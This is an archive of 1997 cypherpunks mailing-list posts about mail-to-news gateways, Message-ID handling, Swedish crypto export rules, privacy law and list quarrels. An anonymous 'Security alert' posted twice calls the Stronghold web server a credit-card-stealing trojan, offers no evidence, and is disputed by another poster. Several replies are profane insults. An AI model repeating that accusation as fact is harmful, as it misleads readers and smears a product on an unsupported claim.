Usenet, might I suggest that this be individual to the given >> distributed mailing list? In other words, since the recipe is logically >> going to have to not forward to a gateway messages from other mailing >> lists (since it's not a good idea to have multiple copies of the same >> message arriving at the gateway if it can be helped; better to filter >> it out beforehand), >It doesn't seem an especially bad idea, since it Thank you. Were you cut off? >> some of the mailing lists can forward and the >> others cannot. (One could even determine this behavior on application >> of the proper X-header, although I never trust various mailing systems >> to forward such intact.) The same could also be done with gatewaying >> _from_ Usenet - if the news2mail gateway feeds to whatever individual >> lists sign up to it and they _don't_ forward such messages to others, >> people can decide whether or not to receive Usenet postings on >> alt.cypherpunks.* by which list they subscribe to. >The code currently running is a perl script that turns typical email >messages into something INN is happy with. It is probably possible to >get your message rejected by INN if you put obsolete or otherwise >unusual and illegal headers in. This may be a bug. That would probably depend on: A. if any other circumstances other than deliberately sabotaging your message's translation would also disrupt its chances of getting through seriously, particularly if they weren't something you'd spot; and B. if sufficiently bad messages would disrupt INN's operations too much. You'd know a lot more than I would in regard to the latter, and probably the former. I was last a serious participant on USENET on a Vax running VMS (via Bitnet, as a matter of fact... a while back). -Allen From EALLENSMITH at ocelot.Rutgers.EDU Mon Feb 17 21:11:59 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Mon, 17 Feb 1997 21:11:59 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180511.VAA23668@toad.com> From: ichudov at algebra.com (Igor Chudov @ home) >Bryan Reece wrote: >> >> It receives some Big Usenet groups, but only for local users. >> alt.cypherpunks is open, but there will be long delays, on the >> order of a day, for articles there (unless someone better connected to >> Usenet wants to feed me alt.cypherpunks.*---any volunteers?). Well, Lance Cottrell would appear to be a good person to ask on this matter, but... >I just set up a recipe for using mail2news gateways like this: >:0 c >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl >Any objections? given that mail2news at anon.lcs.mit.edu gets one of its USENET feeds via cyberpass.net, it would appear to be unnecessary if this recipe is in use. However, I do have one problem with this recipe: lack of loop prevention if a news2mail gateway is going in the other direction. I don't know, but the mail2news gateway folks may not be too happy with this idea either, given massively increased load; this is particularly true since IIRC misc.misc is _not_ the proper place to crosspost stuff from & to; it's only for stuff that _really_ doesn't fall under any other category. (I've crossposted this message to the remailer-operators mailing list to make sure it gets to the operators of the gateways in question.) In regards to your later query about whether people want their postings going to Usenet, might I suggest that this be individual to the given distributed mailing list? In other words, since the recipe is logically going to have to not forward to a gateway messages from other mailing lists (since it's not a good idea to have multiple copies of the same message arriving at the gateway if it can be helped; better to filter it out beforehand), some of the mailing lists can forward and the others cannot. (One could even determine this behavior on application of the proper X-header, although I never trust various mailing systems to forward such intact.) The same could also be done with gatewaying _from_ Usenet - if the news2mail gateway feeds to whatever individual lists sign up to it and they _don't_ forward such messages to others, people can decide whether or not to receive Usenet postings on alt.cypherpunks.* by which list they subscribe to. -Allen P.S. A thank you to Reece for setting up a gateway; I had looked at the program and did _not_ much like the idea of having to maintain it on my limited knowledge of C/C++ and mailing software. From reece at taz.nceye.net Mon Feb 17 21:12:01 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Mon, 17 Feb 1997 21:12:01 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702180512.VAA23671@toad.com> Date: Mon, 17 Feb 1997 22:55 EDT From: "E. Allen Smith" Well, Lance Cottrell would appear to be a good person to ask on this matter, but... >I just set up a recipe for using mail2news gateways like this: >:0 c >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | \ > sendmail mail2news at anon.lcs.mit.edu mail2news at utopia.hacktic.nl >Any objections? given that mail2news at anon.lcs.mit.edu gets one of its USENET feeds via cyberpass.net, it would appear to be unnecessary if this recipe is in use. However, I do have one problem with this recipe: lack of loop prevention if a news2mail gateway is going in the other direction. All the mailing-list hosts are supposed to check for duplicates before forwarding anything, so this shouldn't do anything worse than have a few extra copies of each post get discarded, loading the network and the hosts a bit more. But posting the list to a widely-distributed newsgroup seems wrong for noise (both to the list itself and to posters) and delay reasons. (I've crossposted this message to the remailer-operators mailing list to make sure it gets to the operators of the gateways in question.) In regards to your later query about whether people want their postings going to Usenet, might I suggest that this be individual to the given distributed mailing list? In other words, since the recipe is logically going to have to not forward to a gateway messages from other mailing lists (since it's not a good idea to have multiple copies of the same message arriving at the gateway if it can be helped; better to filter it out beforehand), It doesn't seem an especially bad idea, since it some of the mailing lists can forward and the others cannot. (One could even determine this behavior on application of the proper X-header, although I never trust various mailing systems to forward such intact.) The same could also be done with gatewaying _from_ Usenet - if the news2mail gateway feeds to whatever individual lists sign up to it and they _don't_ forward such messages to others, people can decide whether or not to receive Usenet postings on alt.cypherpunks.* by which list they subscribe to. -Allen P.S. A thank you to Reece for setting up a gateway; I had looked at the program and did _not_ much like the idea of having to maintain it on my limited knowledge of C/C++ and mailing software. The code currently running is a perl script that turns typical email messages into something INN is happy with. It is probably possible to get your message rejected by INN if you put obsolete or otherwise unusual and illegal headers in. This may be a bug. From markm at voicenet.com Mon Feb 17 21:12:45 1997 From: markm at voicenet.com (Mark M.) Date: Mon, 17 Feb 1997 21:12:45 -0800 (PST) Subject: The Science Generations, II Message-ID: <199702180512.VAA23681@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Mon, 17 Feb 1997, Jeremiah A Blatz wrote: > You neglect things like the interstate commerce provision, which means > that if it crosses state lines, the feds can regualte it. In addition, > the court (in its infinite wisdom), decided that "the people" meant > the states, then the people. So, as long as it isn't meantioned in the > constitution, the states can do whatever they want. The 10th amendment states: "The powers not delegated to the United States by the Constitution, nor prohibited by it to the states, are reserved to the states respectively, or to the people." This sounds pretty clear to me. Theoretically, the states can do whatever they want as long as they don't infringe on the rights of the people. The 9th amendment protects all rights not explicitly stated in the constitution. The 5th and 14th amendments both protect people from losing life, liberty, or property without due process. I believe that the 14th was used as justification for Roe vs. Wade, since the court decided that abortion is a liberty and any law forbidding it deprives a woman of liberty without due process. Of course, in practice, we know that the situation is much different... Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwkjwSzIPc7jvyFpAQE9QwgAj+op9T6AT858eS89RyAiYnwP02APgr3I 1ZkguMV5JiJWOKrhXu54/k7sVam4sxCftvC3Poon9K4yCQ+rtTUL3bF81+ppdXMr cCfEMU5RNZVDU5sddR5nWkOHagXFatSYK6v7IUqYfquWgq1/9m6NQIO25+RleHmv nz9ZjaeWdljPx0SWjg77Ul8/8fJkNn/sHn3rTBUdNeGBLkipAY82vv4hZFC2A8uf zAjbD+GEYl4Vbu+GpOPkb+RDkECZ762zVQ2DX4yHeGq58Ejs/a4+XHXT6MqYs8Xy phnluL347m/OrDCPekCT4nOgt0zHGoDQ8PYinxbDUjxLHC7rOzKe9g== =5iIy -----END PGP SIGNATURE----- From terryld at earthlink.net Mon Feb 17 21:12:47 1997 From: terryld at earthlink.net (Terry L. Davis) Date: Mon, 17 Feb 1997 21:12:47 -0800 (PST) Subject: Removal from newsgroup listing Message-ID: <199702180512.VAA23682@toad.com> I'm not certain how I got on the cypherpunks newlist, but it's way over my head. Please removed terryld at earthlink.com from cypherpunks at toad.com Thanks From minow at apple.com Mon Feb 17 21:39:56 1997 From: minow at apple.com (Martin Minow) Date: Mon, 17 Feb 1997 21:39:56 -0800 (PST) Subject: European crypto export policy In-Reply-To: Message-ID: At 02:39 +0100 1997.02.18, Ulf M�ller wrote: >Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar >Arrangement effects Swedish crypto exports. > >I wonder if someone whose Swedish is better than mine could summarize >the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html > This is a sloppy and probably inaccurate translation. Martin Minow minow at apple.com Datateknik 97-02 97-01-30 EEC countries forbidden for Swedish crypto-export. The export control agreement that governs Sweden's export of sensitive high-technology even stops sale of encryption software to several EEC countries. Security-political considerations from cold war days are a serious barrier for integration in the EEC. In international regulation of high-technology commerce, crytographic equipment and crypto-software is either directly considered "war material" or counted as dual-use products -- i.e. products with both civil and military use. Twenty-eight industrial countries, including Sweden, stand behind the rules ... called "Wassenaar Agreement" after the suburb to Den Haag in the Netherlands where they were written. ... The Wassenaar Agreement is a continuation of COCOM (the West's embargo of high-technology to the Eastern block). After COCOM was lifted in 1993, there were discussions about what should be included in future controls. The USA, for example, would not accept Russian involvement while Russia exported weapons to Iran. Eventually, Russia and the other Eastern-Bloc countries accepted Wassenaar [this is probably a poor translation] and, today, 33 states are partners in the agreement, including even South Korea, Bulgaria, and Turkey. ... Encryption equipment is included in the group "information security" in the goods-list and regulations that control Swedish high-tech export. (SFS 1994:2060, lastest revision December 1996). [SFS is the national registry of all Swedish laws, proclamations, and similar.] This control includes essentially all digital encryption systems. Export may not take place without approval of the "Inspectorate for Strategic Products" (ISP) at the Foreign Office. Following the rules, a Swedish resident would break the law by carrying a portable computer with a "trivial encryption program (that is not commercially available)" on the ferry boat across Oresund to Denmark without a specific export license! A bank ATM card with an encrypted password can be carried, but not a "smarter" bank or ID card. While licenses are available, they require special testing. The product must be "strength-classified" which, in complicated cases, would be done by the the Defense Radio Service (FRA) [the Swedish equivalent to NSA]. Also, the destination land and the importer's technical knowledge will also be examined closely. For Swedish exporters to Europe, this is often experienced as a "terrorising bureaucracy." ''We who are major exporters of encryption equipment to telephone [service] operators in, for example, Germany, must let every delivery be individually examined by ISP despite the fact that the same products are often repeated,'' says Haakan Persson at Swedish AU-system. The explanation is that not every EU land fulfills the Wassanaar requirements. The point of the rules, explains Egon Svensson at ISP, is that we do not spread advanced technology to countries that have not had it previously. Thus, certain countries are excluded. For encryption equipment, only England, France, Holland, Sweden, Germany, and perhaps a few others, are considered to have sufficicent capacity and knowledge to be recipient countries. They say that the restrictions within EU are temporary, but there is no immediate sign that they will be eased. Author: Christer Akerman, christer.akerman at datateknik.se Original Copyright Datateknik ----- ps: the same issue of DataTeknik has a review of a Swedish biography of Arne Beurling, a Swedish cryptographer who broke a German World War II telegram (teletype?) encryption machine "Geheimschreiber T52a/b." After Germany occupied Norway, all German communication passed through neutral Swedish telegraph cables, and the Swedes didn't pass up the chance to sample the traffic. Breaking the code was described by David Kahn as "one of the great feats of crytoanalysis" of the Second World War. The book is Svenska kryptobedrifter" by Bengt Backman. Bonniers, ISBN 91-0-056229-7 From stewarts at ix.netcom.com Mon Feb 17 23:30:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Mon, 17 Feb 1997 23:30:07 -0800 (PST) Subject: PDAs as alternatives to smart cards? In-Reply-To: <199702180141.RAA19121@toad.com> Message-ID: <3.0.1.32.19970217112701.00655258@popd.ix.netcom.com> At 04:49 PM 2/17/97 -0800, Steve Schear wrote: >With the widespread adoption of an industry standard IR link between PDA >type devices, networks and PCs might this not present an opportunity for >their use as more user-configurable and application agile financial and >communiation privacy instruments? PDAs are becoming somewhat widespread among technical and sales people, but there are a lot of different varieties and horsepowers, and some are generally programmable with near-free-ware while others aren't. Newtons have horsepower, but aren't that common; most of the others have 8086en or so, including the easily-programmable DOS HPs, the cool objecty Psion OS, a few different GeoWorks based systems (is Pilot one of those?), etc. Then there are a huge number of totally non-programmable Rolodex/Calendar widgets. Any of the interesting ones cost too much to go after the retail market, and they're owned by people who can use email. For the broad market you want a <=$10 device, and stores grumble if you charge more than $200 for a really complete reader system - which means smartcards. Perhaps once pager capability in PDAs becomes widespread and cheap, the retail/wholesale pharmaceutical trading set could get interested :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From winsock at rigel.cyberpass.net Mon Feb 17 23:54:41 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Mon, 17 Feb 1997 23:54:41 -0800 (PST) Subject: Security alert!!! Message-ID: <199702180754.XAA19557@sirius.infonex.com> WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information (such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. From stewarts at ix.netcom.com Mon Feb 17 23:55:55 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Mon, 17 Feb 1997 23:55:55 -0800 (PST) Subject: PDAs as alternatives to smart cards? Message-ID: <199702180755.XAA26686@toad.com> At 04:49 PM 2/17/97 -0800, Steve Schear wrote: >With the widespread adoption of an industry standard IR link between PDA >type devices, networks and PCs might this not present an opportunity for >their use as more user-configurable and application agile financial and >communiation privacy instruments? PDAs are becoming somewhat widespread among technical and sales people, but there are a lot of different varieties and horsepowers, and some are generally programmable with near-free-ware while others aren't. Newtons have horsepower, but aren't that common; most of the others have 8086en or so, including the easily-programmable DOS HPs, the cool objecty Psion OS, a few different GeoWorks based systems (is Pilot one of those?), etc. Then there are a huge number of totally non-programmable Rolodex/Calendar widgets. Any of the interesting ones cost too much to go after the retail market, and they're owned by people who can use email. For the broad market you want a <=$10 device, and stores grumble if you charge more than $200 for a really complete reader system - which means smartcards. Perhaps once pager capability in PDAs becomes widespread and cheap, the retail/wholesale pharmaceutical trading set could get interested :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From winsock at rigel.cyberpass.net Tue Feb 18 00:12:51 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Tue, 18 Feb 1997 00:12:51 -0800 (PST) Subject: Security alert!!! Message-ID: <199702180812.AAA20386@sirius.infonex.com> WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information (such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. From dthorn at gte.net Tue Feb 18 00:36:03 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 18 Feb 1997 00:36:03 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702180405.VAA14281@web.azstarnet.com> Message-ID: <330969E1.4467@gte.net> drose at azstarnet.com wrote: > My dear fellow: > I suppose you missed the notion that, on the Internet, *some* folks know > that you are a dog. If you, sir or madam, had 1/10 the brainpower that the most active subscribers to this list have, you would: 1. Understand the subtleties I put forth (ditto Toto and Dr. V). 2. Be able to filter who you don't want to read. 3. Help other less fortunates like yourself to learn filtering. It is you who pollute the list with worthless crap, which you falsely interpret as criticism, but which is actually a poor excuse for what you've failed to learn in life. A pox on you. From dthorn at gte.net Tue Feb 18 00:39:17 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 18 Feb 1997 00:39:17 -0800 (PST) Subject: The Science Generations, II In-Reply-To: <199702180439.VAA24310@web.azstarnet.com> Message-ID: <33096A9E.3163@gte.net> drose at azstarnet.com wrote: > > To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being > subscribed to a million and one lists that I never knew I needed (and so > quick!--appreciate the service, dude) this address, like c-punks at toad.com, > is going away *real * quick, so save your keystrokes. My point has been proven once again! Another spineless coward pollutes the list with worthless criticism, and then slinks away from those s/he attacks like a mangy coyote. From gbroiles at netbox.com Tue Feb 18 01:33:15 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 18 Feb 1997 01:33:15 -0800 (PST) Subject: Message-Id / mail2news gateways. In-Reply-To: <9702172059.ZM3730@razor.engr.sgi.com> Message-ID: <3.0.1.32.19970218012654.028e2708@law.uoregon.edu> -----BEGIN PGP SIGNED MESSAGE----- At 08:59 PM 2/17/97 -0800, Anil Das wrote: >1) Please preserver Message-Ids while resending messages. Yes, this is absolutely crucial if many different systems are going to cooperatively deal with messages. Message-ID changing is very bad. I sent a Perl script to Lance (copies to others on request) which can be easily used as the target of an /etc/aliases entry to gate a mailing list into inews (and thereby into INN) for processing as a netnews message. (The script preserves Message-ID.) If we preserve Message-ID's, many sites can have local mail-news gateways, and we won't (globally) see duplicates. >2) In response to Igor's query, I would very much like at least >on of the distributed lists to be set up such that messages sent >there will *not* be gatewayed to Usenet. I don't think this is practical - as I understand things, the corpus (bolus?) of messages will be available to all comers for their own projects, which may include mail-news gateways, archives, filtered lists, and so forth(*). People who send messages to the list shouldn't expect that they'll have any "privacy" in information sent there. (* Modulo copyright, but apparently the industry standards for copyright issues are: 1. Ignore them and hope they go away 2. Pretend to seize control over IP rights of everything posted neither of which works very well or makes any sense, legally speaking.) For what it's worth, the list has been gated to two public newsgroups - albeit not in the Big 7 or alt. - for quite some time. If you think your name isn't on Usenet, and you've been sending messages to the list, think again. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwl1KP37pMWUJFlhAQHr+Qf+Jpo20Rl9RWAtsWFu7uJ2TYvIySYxrqCi A0Ac54oQSuuzYV6diH+pddilzTSjNS9DgVRC/lkC1C64cIZLp9fb1I3gX25Wfyns DnUvXPRLAD3A54imgkVxojr3ywD8YIn1QqQlVfh2yazJ6ysf0rFgQFcm3mMZxDqx 3MTl5x4sFo/CQPmYtGamZXEC59U2KW3iOaMiIESX3BjaK/92w9ptP44L0KqNcFqI tpNlUwmjXlqi1CTInVnVUHT79pF/OCYwxzbb0hPL4OcSlEZGPcj8cf/KGKL3cyBp hzIgjGPlfklXjCbvGBwi/9NUJEu9ARJVM+4Ie6ajDQWlzgPTO7w2zw== =wifQ -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From jer+ at andrew.cmu.edu Tue Feb 18 01:44:39 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 18 Feb 1997 01:44:39 -0800 (PST) Subject: Security alert!!! In-Reply-To: <199702180812.AAA20386@sirius.infonex.com> Message-ID: <0n2LbN200YUe0Bfzc0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- winsock at rigel.cyberpass.net (WinSock Remailer) writes: > WARNING: There's a rogue trojan horse out there on the internet known as the > "stronghold web server". It's actually a hacked-up version of Apache with a > backdoor, which allows hackers (or whoever knows the backdoor) to steal credit > card numbers and other confidentil information on the Internet. > > Be careful! Always use encryption. Do not send confidential information (such > as passwords and credit card numbers) to any site running the trojan horse > "stronghold". > > In general, beware of "snake oil" security products and hacked-up versions of > free software. ObTheSolutionToBadSpeechIsMoreSpeech: Please provide evidence for your wild claims. You have no reputation capital, the makers of Stronghold have quite a bit, in my mind. (Except maybe in their moderation policies :-) I do not belive your claims for a minute. Again, please provide a description of the exploit or source code that compiles into a binary identical to that in the Stronghold distribution as evidence of your claims. Alternatly, crawl back in to your hole and die. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwl51ckz/YzIV3P5AQGliQMAzKgQ5qeDTUkhK8qrsSg4l0PiTju0Dy20 Spf/ZNmE73ZzSnebR1/472g5OAwjJUovU6mMil7HfseNXgvznoYeuJ1CUafm+sC8 abONhhlYeLF+cDDpZTJIENWzhN4hhzpE =gYuP -----END PGP SIGNATURE----- From aga at dhp.com Tue Feb 18 03:45:13 1997 From: aga at dhp.com (aga) Date: Tue, 18 Feb 1997 03:45:13 -0800 (PST) Subject: Cypherpunks FAQ In-Reply-To: <330901F3.750E@gte.net> Message-ID: On Mon, 17 Feb 1997, Dale Thorn wrote: > Date: Mon, 17 Feb 1997 17:12:19 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: cypherpunks at toad.com > Subject: Re: Cypherpunks FAQ > > Toto wrote: > > ISP_Ratings wrote: > > > Yes--and given the role Dr. Vulis has played in this matter > > > it would be most appropriate for him to write an FAQ (although > > > I personally ignore most FAQs). > > >Perhaps it would be more appropriate for the good doctor to write a FUQs. > > Why not do it like the Declaration of Independence? A primary author > puts the basic document together, and other persons with expertise in > other important areas add to it, then it gets circulated on the list > for comments and suggestions. > > "Other areas" not normally addressed in these kinds of documents > should include subscribers' awareness that the crypto lists are > a prime target of attention from federal agencies, et al, and > that much of the material posted could be pure disinformation. > I do not think that any Federal Agency would be interested in any group so undisciplined as cypherpunks. From jya at pipeline.com Tue Feb 18 04:32:48 1997 From: jya at pipeline.com (John Young) Date: Tue, 18 Feb 1997 04:32:48 -0800 (PST) Subject: FIPS 196 Message-ID: <1.5.4.32.19970218122630.006e144c@pop.pipeline.com> NIST announced in the Federal Register today "that the Secretary of Commerce has approved a new standard, which will be published as FIPS Publication 196, Entity Authentication Using Public Key Cryptography." http://jya.com/fips196.txt (12K) From reece at taz.nceye.net Tue Feb 18 06:18:02 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Tue, 18 Feb 1997 06:18:02 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? In-Reply-To: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu> Message-ID: <19970218141819.28530.qmail@taz.nceye.net> E. Allen Smith writes: > From: IN%"reece at taz.nceye.net" "Bryan Reece" 17-FEB-1997 23:23:10.06 > > >> use. However, I do have one problem with this recipe: lack of > >> loop prevention if a news2mail gateway is going in the other direction. > > >All the mailing-list hosts are supposed to check for duplicates before > >forwarding anything, so this shouldn't do anything worse than have a > >few extra copies of each post get discarded, loading the network and > >the hosts a bit more. But posting the list to a widely-distributed > > Umm... IIRC, the only person who's announced how he's filtering > for duplicates is Igor, and he's just checking for messageIDs. Won't > those get chunked on going through a mail2news gateway, and thus > possibly come back through a news2mail gateway? My script preserves the Message-ID, assuming that the incoming message has one. Other gateways I've seen also appear to preserve Message-ID lines (or at least messages posted through them appear to have mail-like ID lines). > The filtering > mechanism could be improved via MD5 digests, etcetera (someone's > already given a recipe for such; thank you), but even so various > mungings could still set up a mailing loop. (Yes, I'm paranoid > about those; I may have been reading list-managers for too long and > seen too many stories on there.) The sensible place to keep > track of possible duplicates is at the gateway; it can > certainly filter based on that it (or, for that matter, another > known bidirectional gateway) sent a message out. Not immediately sending a message back to the host that it came from does look like a good idea (it came from foo.com, so foo.com obviously has it). Filtering out other gateways' messages will reduce load at the possible expense of delay (assuming a smallish network of news servers that feed each other the list; obviously the message will flood the majordomo net before it floods the real usenet unless something is seriously broken). > > >newsgroup seems wrong for noise (both to the list itself and to > >posters) and delay reasons. > > Delay reasons being that mail will go to Usenet, go > all over the place there, and then get replied to later than if > it were just on the mailing list(s)? A potential problem, yes. I didn't exactly say, but I was comparing a small network of news servers feeding each other cypherpunks.list to, say, alt.cypherpunks.list. > But (especially given the options I mentioned below), this > would appear to be a matter for individual users to decide > by which list they go with and any added control headers. I'm trying to come up with a way to provide NNTP access (and an experimental alternative to the net-of-majordomos) that won't offend anybody too much. I can filter out messages that the authors don't want sent out; I'd prefer to deal with what would make the authors want the messages filtered out instead. > Maximum individual sovreignty (sp?). > > >> In regards to your later query about whether people want their postings > >> going to Usenet, might I suggest that this be individual to the given > >> distributed mailing list? In other words, since the recipe is logically > >> going to have to not forward to a gateway messages from other mailing > >> lists (since it's not a good idea to have multiple copies of the same > >> message arriving at the gateway if it can be helped; better to filter > >> it out beforehand), > > >It doesn't seem an especially bad idea, since it > > Thank you. Were you cut off? Yes. Should have read: It doesn't seem an especially bad idea to send a gateway multiple copies of the same message, since theextra messages won't increase the load much but will increase the reliability and decrease the propagation time compared to a network where there are no duplicates. The only case where filtering duplicates is certain not to hurt delay or reliability is when the gateway in question is known to have a copy of the message already. Usenet uses the Path header for this; there doesn't seem to be such a thing in the majordomo net. > >> some of the mailing lists can forward and the > >> others cannot. (One could even determine this behavior on application > >> of the proper X-header, although I never trust various mailing systems > >> to forward such intact.) The same could also be done with gatewaying > >> _from_ Usenet - if the news2mail gateway feeds to whatever individual > >> lists sign up to it and they _don't_ forward such messages to others, > >> people can decide whether or not to receive Usenet postings on > >> alt.cypherpunks.* by which list they subscribe to. > > >The code currently running is a perl script that turns typical email > >messages into something INN is happy with. It is probably possible to > >get your message rejected by INN if you put obsolete or otherwise > >unusual and illegal headers in. This may be a bug. > > That would probably depend on: A. if any other circumstances > other than deliberately sabotaging your message's translation would > also disrupt its chances of getting through seriously, particularly > if they weren't something you'd spot; and The main way to get a message rejected seems to be using obsolete news headers on it. If you don't want your message posted, add a Posting-Version line to the header. > B. if sufficiently bad > messages would disrupt INN's operations too much. No more so than a sufficiently bad news posting that came in over NNTP (since the mails do turn into news postings over NNTP). From toto at sk.sympatico.ca Tue Feb 18 06:57:00 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 18 Feb 1997 06:57:00 -0800 (PST) Subject: Drose / You're a fucking idiot! In-Reply-To: <199702180439.VAA24310@web.azstarnet.com> Message-ID: <3309D570.4148@sk.sympatico.ca> drose at azstarnet.com wrote: > To Toto, Dimi, D.Thorn, whomever, etc.: while I may appreciate being > subscribed to a million and one lists that I never knew I needed (and so > quick!--appreciate the service, dude) this address, like c-punks at toad.com, > is going away *real * quick, so save your keystrokes. I generally try to be fairly civil in my postings, and refrain from personal insults, but I will make an exception, here. So listen up, shit-for-brains, and I will try to explain a few concepts that you seem to be too dim-witted to understand. I am a CypherPunk. I have a key, and I know how to use it. When my personal account is subjected to spam-attacks and unwanted subscriptions to a multitude of lists, I deal with it. I don't make baseless accusations against others based on their perceived public reputation, or my own subjective perception of their reputation capital. I am not just a CypherPunk, I am also an adult. I take responsibility for my own actions, and I keep those actions within the bounds of what I perceive to be acceptable ethics and personal integrity. If you think that I am responsible for this-or-that action in regard to yourself, then all you have to do is ask me, and I will tell you. I don't make any bones about my beliefs and views, and I don't have any problem with others opposing my beliefs and views. When I launch an attack on someone, right or wrong, it is a frontal assault, not a hidden one. When I post anonymously to the list, or send anonymous email, I do not use remailers, in order that anyone with the will and wit to do so may easily discern my pseudonyms through the headers and use of the 'trace' command. If you think that I am the source of your problems, then you are a fucking idiot. I have no idea who you are, and can only vaguely recall the content or context of your past posts to the list. As such, I would certainly have little motivation for lifting even my little pinkie against you in a conspiratorial attack on you. I would suggest that the only 'fixations' involved between you and myself are coming from your end of the electromagnetic spectrum. I would also suggest that you get your head out of your electromagnetic rectum. Toto From vin at shore.net Tue Feb 18 07:06:09 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 18 Feb 1997 07:06:09 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <199702172056.MAA13555@toad.com> Message-ID: >(And I always thought the "woman's right to privacy" argument for abortion >was flaky. Accepting such an argument, wouldn't infanticide be equally >protected by a woman's right to privacy?) > >--Tim May Whoa! This begs a thoughful response, but I don't have time right now. Might it suffice to suggest that a privacy claim -- a demand for control over what concerns her, her alone, or (on balance) her more than any other -- seems reasonable to extend to both contraception and early abortion? For many of us, by the same logic, and with the same moral comfort. (As the clock slips onward, and the potential viability of the fetus becomes more likely or certain, I personally believe the woman no longer exists alone, and the privacy argument becomes conflicted and more tenuous. But Tim's golem, Infanticide, is a creature of nightmare -- wholly beyond the pale!) To my mind, any attempt to control what is done to the woman's body (by her choice) while the prospective child is but a bit of enhanced potential, much much less than a viable child, is an unconstitutional and morally-invalid attempt by others (the state, the church, the country club) to pre-empt her will, and prescribe or dictate a wholly new value system for her. Any claim (by the father, the state, the church, etc.) to control what happens in the moments or days after conception (say, forbidding RU-whatever, the French drug,) has no more moral authority than any similar claim to Higher Authority -- to safeguard the potential within her -- which is used to forbid his or her the use of a contraceptive, or which requires him or her to take a drug which makes multiple pregnancies more likely. I always thought the Jesuits had the logical argument straight. If the woman has no inherent right to control her destiny in the languid aftermath of intercourse (just because she has within herself the potential of a new life) then she has no claim to self-possession which allows her to use a contraceptive just before intercourse. If it is the potential for new life that allows external authorities to overwhelm her judgment and violate her privacy, then the case for that Papal Judgement exists before, during, and after sex. Problem is: while logical, the Catholic argument seems silly, authoritarian, and hopelessly abstract in the face of what many of us experience as a less dogmatic and vastly more human context. A context in which the right to privacy or self-possession seems inherent in the people we are, the people we know, the world as we live it. (Jesuits have a certain disadvantage, from this POV;-) The fact that this claim of privacy or self-possession apparently has an echo in the US Constitution (that oh, so-prescient document!) -- and in the libertarian/liberal proclamations of numerous other nation states -- is a validation, a confirmation... but the Right of privacy, the Claim, is inherent in our sense of who we are, and our sense of what an individual is. If the philosophers had not considered it in their musings, we would have to fight harder; we would need to define it as well as defend it -- but it can only be denied if we denied ourselves, as the serfs of the Dark Ages were expected to... and did. Women as vessels. Men as vassals. Suerte, _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From alexandr at win.tue.nl Tue Feb 18 07:21:47 1997 From: alexandr at win.tue.nl (Alexandra Janssen - Raemaekers) Date: Tue, 18 Feb 1997 07:21:47 -0800 (PST) Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd) Message-ID: <199702181522.PAA22356@wsintt05.win.tue.nl> I really don't know what this is all about!!!! This is one of the messages that I seemed to have sent...... I can give you about Apparently-To: vice.president at whitehouse.gov, first.lady at whitehouse.gov, Bclinton at Washington.DC, feedback at www.whitehouse.gov, Senator_Stevens at stevens.senate.gov, email at murkowski.senate.gov, sessions at wrldnet.net, senator at shelby.senate.gov, senator at bumpers.senate.gov, info at kyl.senate.gov, Senator_McCain at mccain.senate.gov, senator at boxer.senate.gov, senator at feinstein.senate.gov, sen_dodd at dodd.senate.gov, senator_lieberman at 